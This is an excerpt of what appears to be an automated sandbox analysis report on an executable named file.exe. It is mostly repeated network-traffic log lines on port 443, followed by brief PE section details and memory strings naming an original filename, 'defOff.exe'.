Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:50110 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01034F02	0_3_01034F02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01034EF2	0_3_01034EF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0103C7E2	0_3_0103C7E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0103C7E2	0_3_0103C7E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01034EF2	0_3_01034EF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0103C7E2	0_3_0103C7E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0103C7E2	0_3_0103C7E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01034EF2	0_3_01034EF2

Source: file.exe, 00000000.00000003.2360991381.0000000005B8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353610963.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349458845.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342230584.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344683312.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353458653.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2372200545.000000000105B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356011552.0000000005DEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346426759.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352986116.0000000005B84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343660743.0000000005B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342675126.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344114071.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352677151.0000000005CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344801946.00000000055AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2476355405.000000000105A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350848266.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358503499.0000000005CCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357508429.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
